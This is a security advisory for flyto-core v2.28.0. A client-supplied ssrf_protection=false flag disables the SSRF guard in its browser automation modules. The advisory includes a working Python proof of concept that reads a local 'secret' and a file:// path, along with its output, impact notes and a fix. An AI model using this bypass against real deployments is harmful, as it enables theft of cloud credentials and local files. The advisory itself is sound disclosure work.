GHSA-R3JP-QF98-23V8
Client-controllable ssrf_protection flag disables the SSRF guard in browser.goto and browser.tab
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-R3JP-QF98-23V8 divulgada · CVSS 8.5 (GitHub) | |
| Remediación | Parche 2.28.1 | flyto-core · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
browser.goto and browser.tab expose an ssrf_protection boolean parameter whose false value disables outbound-URL validation in the default local deployment, letting the untrusted MCP/API caller navigate the browser to cloud metadata endpoints, internal services, and file:// URLs. This contradicts the project's own invariant that SSRF protection is operator-controlled and never disableable by a client parameter, which the HTTP modules implement correctly.
### Affected
- Component: flyto-core browser automation modules
- Files: src/core/modules/atomic/browser/goto.py (lines 106-125), src/core/modules/atomic/browser/tab.py (lines 151-161), src/core/browser/driver.py (lines 629-646)
- Versions: v2.28.0
- Deployment: default local/self-hosted deployment (DEPLOYMENT_MODE unset or 'local'); cloud modes (worker/web/cloud) are unaffected because they force enforcement
### Root cause
goto._ssrf_enforced() returns `_is_cloud or bool(self.params.get('ssrf_protection', True))`, so in the default non-cloud deployment the value of a caller-supplied schema parameter decides whether the guard runs. With ssrf_protection=false, _check_url() skips validate_url_with_env_config and execute() passes validate_ssrf=False to BrowserDriver.goto, where _guard_navigation records the opt-out and navigates without any URL or scheme validation. browser.tab action=new mirrors this and calls Playwright's new_page.goto directly. The invariant stated in core/utils.py (ssrf_protection_enabled docstring) is that the guard is operator-controlled and never disableable by a recipe/client parameter; http.get, http.request, http.batch, and http.session enforce that invariant by gating on the operator environment flag only, while the browser modules honor the client flag.
Reproduction
Environment
python3 -m venv /tmp/flyto-venv
/tmp/flyto-venv/bin/pip install -e . playwright
/tmp/flyto-venv/bin/python -m playwright install chromium
# run a local secret on an SSRF-allowed port, e.g. python3 -m http.server 8443 with body INTERNAL-SECRET:db-password-hunter2Proof of concept
# save as /tmp/poc_browser.py and run with /tmp/flyto-venv/bin/python -u /tmp/poc_browser.py
import asyncio, os, sys, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
sys.path.insert(0, '/home/lab/flyto-core/src')
os.environ.pop('DEPLOYMENT_MODE', None)
SECRET = 'INTERNAL-SECRET:db-password-hunter2'
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = SECRET.encode()
self.send_response(200); self.send_header('Content-Length', str(len(body))); self.end_headers(); self.wfile.write(body)
def log_message(self, *a): pass
srv = HTTPServer(('127.0.0.1', 8443), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
async def main():
from core.modules import atomic
from core.modules.registry.core import ModuleRegistry
from core.browser.driver import BrowserDriver
driver = BrowserDriver(headless=True); await driver.launch()
ctx = {'browser': driver}
try:
ModuleRegistry.get('browser.goto')({'url': 'http://127.0.0.1:8443/secret'}, ctx)
except ValueError as e:
print('default blocked:', str(e)[:60])
mod = ModuleRegistry.get('browser.goto')({'url': 'http://127.0.0.1:8443/secret', 'ssrf_protection': False}, ctx)
res = await mod.execute()
content = await driver.page.content()
print('flag off status:', res.get('status'), '| internal secret retrieved:', SECRET in content)
mod3 = ModuleRegistry.get('browser.goto')({'url': 'file:///etc/hostname', 'ssrf_protection': False}, ctx)
await mod3.execute()
print('file:// navigation succeeded with flag off')
await driver.close(); srv.shutdown()
asyncio.run(main())Observed result
default blocked: SSRF protection: Hostname blocked: 127.0.0.1
flag off status: success | internal secret retrieved: True
file:// navigation succeeded with flag off### Impact
- The caller bypasses the outbound containment boundary in the default deployment and can reach cloud metadata endpoints (169.254.169.254 on allowed ports) to steal IAM credentials.
- Internal web services become readable and, through subsequent browser actions, interactable from an untrusted caller.
- file:// navigation removes the scheme restriction, allowing local file reads through the browser and exfiltration via page content.
### Fix
Make the guard honor only the operator environment flag, mirroring the HTTP modules: remove the client param from the decision in _ssrf_enforced (keep or ignore the schema field for compatibility), and always pass validate_ssrf=True to BrowserDriver.goto from the module layer. In browser.tab, always call validate_url_with_env_config before new_page.goto. Add regression tests asserting that ssrf_protection=false from a client cannot reach loopback, metadata, or file:// in the default deployment.
## scoring-notes
- AV:N/AC:L/PR:L/UI:N - same access model as the repository's prior SSRF advisories (token holder drives modules).
- S:C, C:H - metadata/internal content and local file reads; I:L - the browser can submit state-changing requests to internal applications; A:N.
- Anchor: GHSA-662f-hr85-mg6c (browser.goto SSRF bypass) and GHSA-c9hr-64h3-gxpc (redirect SSRF) were rated High; this finding is the same boundary, bypassed by a documented client parameter in the default deployment.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiflyto-core |
Corregida | 2.28.1 | 0 d | 2.41.0 no afectada |
2.28.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/flytohub/flyto-core/security/advisories/GHSA-r3jp-qf98-23v8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
